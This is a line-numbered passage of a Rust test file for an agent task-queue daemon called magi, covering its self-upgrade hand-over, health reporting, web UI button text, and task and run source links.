19734 let health = fx.get("/api/health").await.json();
19735 assert_eq!(health["upgrade"]["stage"], "done");
19736 assert!(
19737 health["upgrade"]["waiting_on"].is_null(),
19738 "nothing to wait on once it is done"
19739 );
19740 }
19741
19742 #[tokio::test]
19743 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
19744 let home = TempDir::new().expect("temp home");
19745 let runs = home.path().join("runs");
19746 std::fs::create_dir_all(&runs).expect("runs dir");
19747 let ui = Ui::new(
19748 Queue::at(home.path().join("queue")),
19749 Questions::at(home.path().join("questions")),
19750 Talks::at(home.path().join("talks")),
19751 runs,
19752 home.path().to_path_buf(),
19753 PathBuf::from("/repo/magi"),
19754 )
19755 .with_launch(launch_idle);
19756 let looping = ui.looping();
19757 let turns = ui.turns();
19758 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19759 .await
19760 .expect("bind loopback");
19761 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19762
19763 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19764 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19765
19766 hand_over(
19767 home.path(),
19768 &looping,
19769 &turns,
19770 &|_: &[String]| Duration::from_secs(5),
19771 served,
19772 |_| Ok(1),
19773 )
19774 .await
19775 .expect("hand over");
19776
19777 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
19778 assert_eq!(
19779 after.stage,
19780 crate::updater::Stage::Restarting,
19781 "hand_over owns the record through parking and up to restarting; \
19782 the successor is what finishes it"
19783 );
19784 }
19785
19786 #[tokio::test]
19789 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
19790 for fail in [false, true] {
19791 let home = TempDir::new().expect("temp home");
19792 let ui = idle_ui(&home);
19793 let looping = ui.looping();
19794 let turns = ui.turns();
19795 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19796 .await
19797 .expect("bind loopback");
19798 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19799 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19800 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19801
19802 let calls = std::sync::atomic::AtomicUsize::new(0);
19803 let outcome = hand_over(
19804 home.path(),
19805 &looping,
19806 &turns,
19807 &|_: &[String]| Duration::from_secs(5),
19808 served,
19809 |_| {
19810 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19811 if fail {
19812 anyhow::bail!("no exec")
19813 } else {
19814 Ok(4242)
19815 }
19816 },
19817 )
19818 .await;
19819 assert_eq!(outcome.is_err(), fail);
19820 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19821
19822 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
19823 .expect("upgrade.log is written under the home");
19824 for step in [
19825 "entered",
19826 "finish_loop",
19827 "listener released",
19828 "starting the successor",
19829 ] {
19830 assert!(log.contains(step), "missing `{step}` in:\n{log}");
19831 }
19832 assert!(
19833 log.contains(if fail { "did not start" } else { "pid 4242" }),
19834 "{log}"
19835 );
19836 }
19837 }
19838
19839 #[tokio::test]
19842 async fn the_handover_signal_wakes_one_waiter_once() {
19843 let signal = Notify::new();
19844 signal.notify_one();
19846 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
19847 .await
19848 .expect("an early signal is still seen");
19849 assert!(
19851 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
19852 .await
19853 .is_err(),
19854 "a consumed signal must not wake a second time"
19855 );
19856 let signal = std::sync::Arc::new(signal);
19858 let waiter = tokio::spawn({
19859 let signal = std::sync::Arc::clone(&signal);
19860 async move { wait_for_handover(&signal).await }
19861 });
19862 tokio::time::sleep(Duration::from_millis(20)).await;
19863 assert!(!waiter.is_finished(), "nothing was signalled yet");
19864 signal.notify_one();
19865 tokio::time::timeout(Duration::from_secs(5), waiter)
19866 .await
19867 .expect("a late signal wakes the waiter")
19868 .expect("join");
19869 }
19870
19871 #[tokio::test]
19872 async fn health_says_how_long_a_handover_has_been_stuck() {
19873 let fx = Fixture::start().await;
19874 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19875 progress.advance(crate::updater::Stage::Replaced);
19876 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
19877 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19878
19879 let health = fx.get("/api/health").await.json();
19880 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
19881 assert!(stuck >= 600, "{stuck}");
19882 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
19883 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
19884 }
19885
19886 #[tokio::test]
19887 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
19888 let home = tempfile::tempdir().expect("temp home");
19889 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19890 progress.advance(crate::updater::Stage::Parking);
19891 crate::updater::write_progress(home.path(), &progress).expect("seed");
19892 let mut again = progress.clone();
19894 again.advance(crate::updater::Stage::Replaced);
19895 crate::updater::write_progress(home.path(), &again).expect("replaced");
19896 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19897 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
19898 let after = crate::updater::read_progress(home.path()).expect("record");
19899 assert_eq!(after.stage, crate::updater::Stage::Parking);
19900 }
19901
19902 #[tokio::test]
19903 async fn health_does_not_call_a_live_parking_wait_stuck() {
19904 let fx = Fixture::start().await;
19905 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19906 progress.parked_run = Some("20260905-000000-cd51".to_owned());
19907 progress.advance(crate::updater::Stage::Parking);
19908 let hours = Duration::from_secs(3 * 3600);
19909 progress.started_at = Timestamp::now() - hours;
19910 progress.updated_at = Timestamp::now() - hours;
19911 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19912 let _lease = crate::updater::LeaseGuard::enter(
19913 fx.home.path(),
19914 Some("20260905-000000-cd51".to_owned()),
19915 );
19916
19917 let health = fx.get("/api/health").await.json();
19918 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
19919 assert!(health["upgrade"]["stuck_kind"].is_null());
19920 assert_eq!(health["upgrade"]["handover_alive"], true);
19921 let waiting_on = health["upgrade"]["waiting_on"]
19922 .as_str()
19923 .expect("waiting_on");
19924 assert!(waiting_on.contains("cd51"), "{waiting_on}");
19925 }
19926
19927 fn idle_ui(home: &TempDir) -> Ui {
19928 let runs = home.path().join("runs");
19929 std::fs::create_dir_all(&runs).expect("runs dir");
19930 Ui::new(
19931 Queue::at(home.path().join("queue")),
19932 Questions::at(home.path().join("questions")),
19933 Talks::at(home.path().join("talks")),
19934 runs,
19935 home.path().to_path_buf(),
19936 PathBuf::from("/repo/magi"),
19937 )
19938 .with_launch(launch_idle)
19939 }
19940
19941 async fn park_fixture(
19942 home: &TempDir,
19943 ) -> (
19944 Ui,
19945 Arc<Mutex<LoopState>>,
19946 Arc<Mutex<TalkTurns>>,
19947 tokio::task::JoinHandle<std::io::Result<()>>,
19948 ) {
19949 let ui = idle_ui(home);
19950 let looping = ui.looping();
19951 let turns = ui.turns();
19952 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19953 .await
19954 .expect("bind loopback");
19955 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
19956 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19957 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19958 (ui, looping, turns, served)
19959 }
19960
19961 #[tokio::test]
19965 async fn hand_over_waits_for_a_running_chat_turn() {
19966 let home = TempDir::new().expect("temp home");
19967 let (ui, looping, turns, served) = park_fixture(&home).await;
19968 let ui = Arc::new(ui);
19969 let id = "20260901-000000-chat";
19970 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19971
19972 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
19973 let handover = tokio::spawn({
19974 let home = home.path().to_path_buf();
19975 let turns = Arc::clone(&turns);
19976 let calls = Arc::clone(&calls);
19977 async move {
19978 hand_over(
19979 &home,
19980 &looping,
19981 &turns,
19982 &|_: &[String]| Duration::from_secs(60),
19983 served,
19984 move |_| {
19985 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19986 Ok(1)
19987 },
19988 )
19989 .await
19990 }
19991 });
19992
19993 let waiting = async {
19994 for _ in 0..200 {
19995 if crate::updater::read_progress(home.path())
19996 .is_some_and(|p| p.parked_talks == [id.to_owned()])
19997 {
19998 return;
19999 }
20000 tokio::time::sleep(Duration::from_millis(25)).await;
20001 }
20002 panic!("the park never named the chat turn");
20003 };
20004 waiting.await;
20005 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20006
20007 let refused = ui.begin_talk_turn("20260901-000000-late").err();
20010 assert!(
20011 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20012 "a direct start says an upgrade is in progress"
20013 );
20014 assert!(
20015 ui.begin_queued_talk_turn("20260901-000000-late")
20016 .expect("queued claim")
20017 .is_none()
20018 );
20019 assert!(matches!(
20020 ui.begin_talk_turn_unless_pending("20260901-000000-late")
20021 .expect("start"),
20022 TalkTurnStart::Busy
20023 ));
20024 assert_eq!(turns.lock().unwrap().live.len(), 1);
20025
20026 let progress = crate::updater::read_progress(home.path()).expect("progress");
20028 let view = upgrade_progress_view(&ui, progress);
20029 assert!(
20030 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
20031 "{:?}",
20032 view.waiting_on
20033 );
20034
20035 assert!(!handover.is_finished());
20036 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20037 drop(turn);
20038 handover.await.expect("join").expect("hand over");
20039 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20040 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20041 }
20042
20043 #[tokio::test]
20046 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
20047 let home = TempDir::new().expect("temp home");
20048 let (ui, looping, turns, served) = park_fixture(&home).await;
20049 let ui = Arc::new(ui);
20050 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
20052 lock_or_recover(&looping).live = Some(Live {
20053 stop: daemon::Stop::new(),
20054 handle: tokio::spawn(async move {
20055 let _ = loop_ended.await;
20056 }),
20057 opts: daemon::Opts::default(),
20058 });
20059
20060 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20061 let handover = tokio::spawn({
20062 let home = home.path().to_path_buf();
20063 let turns = Arc::clone(&turns);
20064 let calls = Arc::clone(&calls);
20065 async move {
20066 hand_over(
20067 &home,
20068 &looping,
20069 &turns,
20070 &|_: &[String]| Duration::from_secs(60),
20071 served,
20072 move |_| {
20073 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20074 Ok(1)
20075 },
20076 )
20077 .await
20078 }
20079 });
20080
20081 let reached = async {
20082 for _ in 0..200 {
20083 if crate::updater::read_progress(home.path())
20084 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
20085 {
20086 return;
20087 }
20088 tokio::time::sleep(Duration::from_millis(25)).await;
20089 }
20090 panic!("the hand-over never reached parking");
20091 };
20092 reached.await;
20093
20094 assert!(!turns.lock().unwrap().parking);
20096 let turn = ui
20097 .begin_talk_turn("20260901-000000-chat")
20098 .expect("claim")
20099 .expect("a turn can start while the loop parks");
20100
20101 end_loop.send(()).expect("loop still waiting");
20103 for _ in 0..200 {
20104 if turns.lock().unwrap().parking {
20105 break;
20106 }
20107 tokio::time::sleep(Duration::from_millis(25)).await;
20108 }
20109 assert!(
20110 turns.lock().unwrap().parking,
20111 "closed once the loop is done"
20112 );
20113 let refused = ui.begin_talk_turn("20260901-000000-late").err();
20114 assert!(
20115 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20116 "no turn starts once the loop is done"
20117 );
20118 assert!(
20119 ui.begin_queued_talk_turn("20260901-000000-late")
20120 .expect("queued claim")
20121 .is_none()
20122 );
20123 assert!(!handover.is_finished());
20124 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20125
20126 drop(turn);
20127 handover.await.expect("join").expect("hand over");
20128 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20129 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20130 }
20131
20132 #[tokio::test]
20135 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
20136 let home = TempDir::new().expect("temp home");
20137 let (ui, looping, turns, served) = park_fixture(&home).await;
20138 let id = "20260901-000000-stuk";
20139 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20140
20141 let calls = std::sync::atomic::AtomicUsize::new(0);
20142 hand_over(
20143 home.path(),
20144 &looping,
20145 &turns,
20146 &|_: &[String]| Duration::from_millis(300),
20147 served,
20148 |_| {
20149 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20150 Ok(1)
20151 },
20152 )
20153 .await
20154 .expect("hand over");
20155 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20156
20157 let progress = crate::updater::read_progress(home.path()).expect("progress");
20158 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
20159 assert!(
20160 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
20161 "{:?}",
20162 progress.detail
20163 );
20164 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
20165 assert!(
20166 log.contains("handing over anyway") && log.contains(id),
20167 "{log}"
20168 );
20169 }
20170
20171 #[tokio::test]
20174 async fn drain_loop_starts_no_turn_while_parking() {
20175 let tmp = TempDir::new().expect("tempdir");
20176 let repo = tmp.path().join("repo");
20177 std::fs::create_dir_all(&repo).expect("repo dir");
20178 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
20179 let home = TempDir::new().expect("temp home");
20180 let talks = Talks::at(home.path().join("talks"));
20181 let ui = Ui::new(
20182 Queue::at(home.path().join("queue")),
20183 Questions::at(home.path().join("questions")),
20184 talks.clone(),
20185 home.path().join("runs"),
20186 home.path().to_path_buf(),
20187 repo.clone(),
20188 )
20189 .with_worktrees_root(home.path().join("wt"));
20190 let cfg = config_for(&repo).await.expect("discover config");
20191 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
20192 let id = talk.id.clone();
20193 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
20194 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
20195 let turns = ui.turns();
20196 let parking = ParkingTurns::begin(&turns);
20197
20198 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
20199
20200 assert!(
20201 turns.lock().unwrap().live.is_empty(),
20202 "the slot is given up"
20203 );
20204 let fresh = talks.get(&id).expect("talk");
20205 assert_eq!(fresh.pending, "later", "the draft is still queued");
20206 assert!(fresh.turns.is_empty(), "no turn ran");
20207 drop(parking);
20208 }
20209
20210 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
20212 let looping = ui.looping();
20213 let turns = ui.turns();
20214 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20215 .await
20216 .expect("bind loopback");
20217 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20218 let told = std::sync::Mutex::new(None);
20219 hand_over(
20220 home.path(),
20221 &looping,
20222 &turns,
20223 &|_: &[String]| Duration::from_secs(5),
20224 served,
20225 |resume| {
20226 *told.lock().unwrap() = Some(resume);
20227 Ok(1)
20228 },
20229 )
20230 .await
20231 .expect("hand over");
20232 told.into_inner().unwrap().expect("successor was started")
20233 }
20234
20235 #[tokio::test]
20236 async fn a_running_loop_is_resumed_by_the_successor() {
20237 let home = TempDir::new().expect("temp home");
20238 let ui = idle_ui(&home);
20239 ui.start_loop(None).expect("start");
20240 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20241 for _ in 0..500 {
20243 if !ui.loop_view(None).running {
20244 break;
20245 }
20246 tokio::time::sleep(Duration::from_millis(2)).await;
20247 }
20248 assert!(handed_over(&home, ui).await, "a running loop must resume");
20249
20250 let successor = idle_ui(&home);
20251 assert!(!successor.loop_view(None).running);
20252 assert!(successor.resume_after_handover(true));
20253 assert!(successor.loop_view(None).running);
20254 successor.stop_loop(None, false).expect("stop");
20255 }
20256
20257 #[tokio::test]
20258 async fn a_second_upgrade_request_keeps_the_resume_intent() {
20259 let home = TempDir::new().expect("temp home");
20260 let ui = idle_ui(&home);
20261 ui.start_loop(None).expect("start");
20262 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
20263 .expect("first park");
20264 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
20265 .expect("second park");
20266 assert!(handed_over(&home, ui).await);
20267 }
20268
20269 #[tokio::test]
20270 async fn a_stop_during_the_handover_wait_is_honoured() {
20271 let home = TempDir::new().expect("temp home");
20272 let ui = idle_ui(&home);
20273 ui.start_loop(None).expect("start");
20274 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20275 ui.stop_loop(None, false).expect("stop");
20276 assert!(!handed_over(&home, ui).await);
20277 }
20278
20279 #[tokio::test]
20280 async fn an_idle_loop_stays_stopped_across_the_handover() {
20281 let home = TempDir::new().expect("temp home");
20282 let ui = idle_ui(&home);
20283 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20284 assert!(!handed_over(&home, ui).await);
20285
20286 let successor = idle_ui(&home);
20287 assert!(!successor.resume_after_handover(false));
20288 assert!(!successor.loop_view(None).running);
20289 }
20290
20291 #[tokio::test]
20292 async fn a_loop_the_operator_stopped_is_not_resumed() {
20293 let home = TempDir::new().expect("temp home");
20294 let ui = idle_ui(&home);
20295 ui.start_loop(None).expect("start");
20296 ui.stop_loop(None, false).expect("stop");
20297 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20298 assert!(!handed_over(&home, ui).await);
20299 }
20300
20301 #[test]
20302 fn only_an_explicit_one_requests_a_resume() {
20303 assert!(!resume_requested(None));
20304 assert!(!resume_requested(Some("0".into())));
20305 assert!(!resume_requested(Some("".into())));
20306 assert!(resume_requested(Some("1".into())));
20307 }
20308
20309 #[test]
20310 fn the_upgrade_button_arms_before_it_restarts_anything() {
20311 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
20314 assert!(APP_JS.contains("Replace the binary and restart?"));
20315 assert!(APP_JS.contains("function confirmed("));
20316 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
20321 assert!(
20325 APP_JS.contains("Parking, then restarting"),
20326 "the button says what it is waiting for"
20327 );
20328 assert!(APP_JS.contains("if (!out.to)"));
20331 }
20332
20333 #[test]
20334 fn stopping_the_loop_arms_but_starting_does_not() {
20335 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
20338 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
20339 assert!(APP_JS.contains("confirmed(button, question)"));
20340 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
20343 assert!(APP_JS.contains("const label = btn.textContent;"));
20344 assert!(!APP_JS.contains("Neither direction is guarded"));
20345 }
20346
20347 #[test]
20348 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
20349 assert!(
20350 APP_JS.contains("state.health.version"),
20351 "the operator wants to know what is running even with nothing newer"
20352 );
20353 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
20354 }
20355
20356 #[test]
20357 fn the_upgrade_button_names_its_destination() {
20358 assert!(
20359 APP_JS.contains("`Update to ${update.to}`"),
20360 "pressing the button should not be a surprise about what it moves to"
20361 );
20362 }
20363
20364 #[test]
20365 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
20366 for stage in ["downloading", "replaced", "parking", "restarting"] {
20367 assert!(
20368 APP_JS.contains(&format!("\"{stage}\"")),
20369 "the phone must be able to tell {stage} apart from the others"
20370 );
20371 }
20372 assert!(APP_JS.contains(".waiting_on"));
20373 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
20378 assert!(APP_JS.contains("reconnects on its own"));
20379 }
20380
20381 #[test]
20382 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
20383 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
20392 ..APP_JS.find("function upgrade(").expect("upgrade")];
20393 assert!(
20394 !body.contains(
20395 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
20396 ),
20397 "a failed upgrade must not take the whole strip over the way it used to"
20398 );
20399 assert!(
20400 body.contains("upgradeFailNote"),
20401 "the failure has to reach the loop's own note instead"
20402 );
20403 assert_eq!(
20407 body.matches("upgradeFailNote].filter(Boolean).join")
20408 .count(),
20409 2,
20410 "both loop-why writers (quiet and control) must fold the note in"
20411 );
20412 }
20413
20414 #[test]
20415 fn an_overdue_upgrade_eventually_asks_for_a_human() {
20416 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
20419 assert!(APP_JS.contains("function upgradeOverdue("));
20420 }
20421
20422 #[test]
20423 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
20424 assert!(
20425 APP_JS.contains("Updated to ${upgradeInfo.to"),
20426 "the operator who asked for the restart wants to know it worked"
20427 );
20428 }
20429
20430 #[test]
20431 fn an_error_is_visible_from_where_the_button_is() {
20432 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
20437 ..APP_CSS.find(".alert-text").expect(".alert-text")];
20438 assert!(
20439 alert.contains("position: fixed"),
20440 "an error about the thing under your thumb has to be visible from \
20441 where your thumb is: {alert}"
20442 );
20443 assert!(
20444 alert.contains("z-index: 25"),
20445 "above the dock (20) and the run-actions FAB (15), so neither \
20446 buries it: {alert}"
20447 );
20448 assert!(
20449 alert.contains("var(--tap)"),
20450 "and clear of the dock and the home indicator: {alert}"
20451 );
20452 assert!(
20455 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
20456 "the FAB's column stays free: {alert}"
20457 );
20458 }
20459
20460 #[tokio::test]
20461 async fn an_older_attempt_says_what_replaced_it() {
20462 let fx = Fixture::start().await;
20463 let q = fx.queue();
20464 let runs = fx.runs();
20465 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20466 write_run(&runs, first, RunStatus::Stalled);
20467 write_run(&runs, second, RunStatus::Blocked);
20468
20469 let mut t = Task::new(
20470 "one task".to_owned(),
20471 "do it".to_owned(),
20472 PathBuf::from("/repo"),
20473 Source::Human,
20474 );
20475 t.runs = vec![first.to_owned(), second.to_owned()];
20476 q.put(&mut t).expect("put");
20477
20478 let rows = fx.get("/api/runs").await.json();
20482 let by = |short: &str| -> Value {
20483 rows.as_array()
20484 .unwrap()
20485 .iter()
20486 .find(|r| r["short"] == short)
20487 .cloned()
20488 .unwrap_or(Value::Null)
20489 };
20490 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
20491 assert!(
20492 by("bbbb")["superseded_by"].is_null(),
20493 "the latest attempt is not superseded by anything"
20494 );
20495 assert!(APP_JS.contains("run.superseded_by"));
20497 assert!(APP_JS.contains("Superseded by"));
20498 }
20499
20500 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
20501 let mut t = Task::new(
20502 "one task".to_owned(),
20503 "do it".to_owned(),
20504 PathBuf::from("/repo"),
20505 Source::Human,
20506 );
20507 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
20508 t.status = status;
20509 t
20510 }
20511
20512 #[test]
20513 fn source_link_picks_the_page_that_filed_the_task() {
20514 let agent = |node: &str| Source::Agent {
20515 run: "20260904-014455-ab12".to_owned(),
20516 node: node.to_owned(),
20517 };
20518 let chat = source_link(&agent("chat")).expect("chat link");
20519 assert_eq!(chat.kind, "chat");
20520 assert_eq!(chat.id, "20260904-014455-ab12");
20521 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
20522 let run = source_link(&agent("implement")).expect("run link");
20523 assert_eq!(
20524 (run.kind, run.href.as_str()),
20525 ("run", "#/runs/20260904-014455-ab12")
20526 );
20527 assert_eq!(source_link(&Source::Human), None);
20528 assert_eq!(
20529 source_link(&Source::Issue {
20530 number: 3,
20531 repo: "o/r".to_owned()
20532 }),
20533 None
20534 );
20535 let odd = source_link(&Source::Agent {
20536 run: "a b/c".to_owned(),
20537 node: "chat".to_owned(),
20538 })
20539 .expect("link");
20540 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
20541 }
20542
20543 #[test]
20544 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
20545 assert!(
20546 !APP_JS.contains("src.node === \"chat\""),
20547 "inline href rule is back"
20548 );
20549 assert!(
20550 APP_JS.matches("sourceLinkOf(").count() >= 4,
20551 "helper must serve every page"
20552 );
20553 assert!(
20554 APP_JS.matches("openChatLink(").count() >= 3,
20555 "the run page still needs its explicit chat link"
20556 );
20557 assert!(
20558 !APP_JS.contains("const openChat = el("),
20559 "the Queue card duplicates its source label link again"
20560 );
20561 assert!(
20562 APP_JS.contains("metaKids.push(link ? el(\"a\""),
20563 "the task page must link a chat source label too"
20564 );
20565 }
20566
20567 #[test]
20568 fn task_ref_carries_the_source_link_for_a_chat_task() {
20569 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20570 t.source = Source::Agent {
20571 run: "20260904-014455-ab12".to_owned(),
20572 node: "chat".to_owned(),
20573 };
20574 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
20575 let v = serde_json::to_value(&out).expect("json");
20576 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
20577 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
20578 assert_eq!(v["source_label"], t.source.label());
20579
20580 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20581 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
20582 .expect("json");
20583 assert!(v["source_link"].is_null(), "{v}");
20584 }
20585
20586 #[test]
20587 fn task_view_serializes_source_link() {
20588 let mut t = Task::new(
20589 "t".to_owned(),
20590 "t".to_owned(),
20591 PathBuf::from("/repo"),
20592 Source::Agent {
20593 run: "20260901-000000-aaaa".to_owned(),
20594 node: "implement".to_owned(),
20595 },
20596 );
20597 t.runs.clear();
20598 let v = serde_json::to_value(TaskView::from(t)).expect("json");
20599 assert_eq!(v["source_link"]["kind"], "run", "{v}");
20600 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
20601 }
20602
20603 #[test]
20604 fn task_view_serializes_urgent_flag() {
20605 let mut t = Task::new(
20606 "t".to_owned(),
20607 "t".to_owned(),
20608 PathBuf::from("/repo"),
20609 Source::Human,
20610 );
20611 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
20612 assert_eq!(v["urgent"], false, "{v}");
20613 t.urgent = true;
20614 let v = serde_json::to_value(TaskView::from(t)).expect("json");
20615 assert_eq!(v["urgent"], true, "{v}");
20616 assert!(APP_JS.contains("task.urgent === true"));
20617 }
20618
20619 #[tokio::test]
20620 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
20621 let fx = Fixture::start().await;
20622 let runs = fx.runs();
20623 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20624 write_run(&runs, old, RunStatus::Blocked);
20625 write_run(&runs, new, RunStatus::Merged);
20626 let mut t = outcome_task(&[old, new], TaskStatus::Done);
20627 fx.queue().put(&mut t).expect("put");
20628
20629 let view = fx.get(&format!("/api/runs/{old}")).await.json();
20630 let task = &view["task"];
20631 assert_eq!(task["status"], "done");
20632 assert_eq!(task["is_latest"], false);
20633 assert_eq!(task["latest"]["short"], "bbbb");
20634 assert_eq!(task["finished_by"]["id"], new);
20635 assert_eq!(task["finished_by"]["outcome"], "merged");
20636 assert_eq!(task["closed_by_hand"], false);
20637 assert_eq!(view["status"], "blocked", "the run keeps its own status");
20638 assert!(APP_JS.contains("finished_by"));
20639 assert!(APP_JS.contains("superseded by run"));
20640 }
20641
20642 #[tokio::test]
20643 async fn the_latest_run_reports_a_held_task_without_a_successor() {
20644 let fx = Fixture::start().await;
20645 let runs = fx.runs();
20646 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20647 write_run(&runs, old, RunStatus::Stalled);
20648 write_run(&runs, new, RunStatus::Blocked);
20649 let mut t = outcome_task(&[old, new], TaskStatus::Held);
20650 fx.queue().put(&mut t).expect("put");
20651
20652 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
20653 assert_eq!(task["status"], "held");
20654 assert_eq!(task["is_latest"], true);
20655 assert!(task["latest"].is_null());
20656 assert!(task["finished_by"].is_null());
20657 assert_eq!(task["closed_by_hand"], false);
20658 }
20659
20660 #[tokio::test]
20661 async fn a_direct_run_has_no_task_outcome() {
20662 let fx = Fixture::start().await;
20663 let runs = fx.runs();
20664 let id = "20260901-000000-aaaa";
20665 write_run(&runs, id, RunStatus::Blocked);
20666 let view = fx.get(&format!("/api/runs/{id}")).await.json();
20667 assert!(view["task"].is_null());
20668 }
20669
20670 #[test]
20671 fn task_outcome_does_not_guess_a_finishing_run() {
20672 let a = "20260901-000000-aaaa";
20673 let b = "20260901-000000-bbbb";
20674 let c = "20260901-000000-cccc";
20675 let dir = tempfile::tempdir().expect("tempdir");
20676 write_run(dir.path(), a, RunStatus::Blocked);
20677 write_run(dir.path(), b, RunStatus::VerifiedNoop);
20678 let read = |id: &str| read_run(dir.path(), id).ok();
20680 let t = outcome_task(&[a, b, c], TaskStatus::Done);
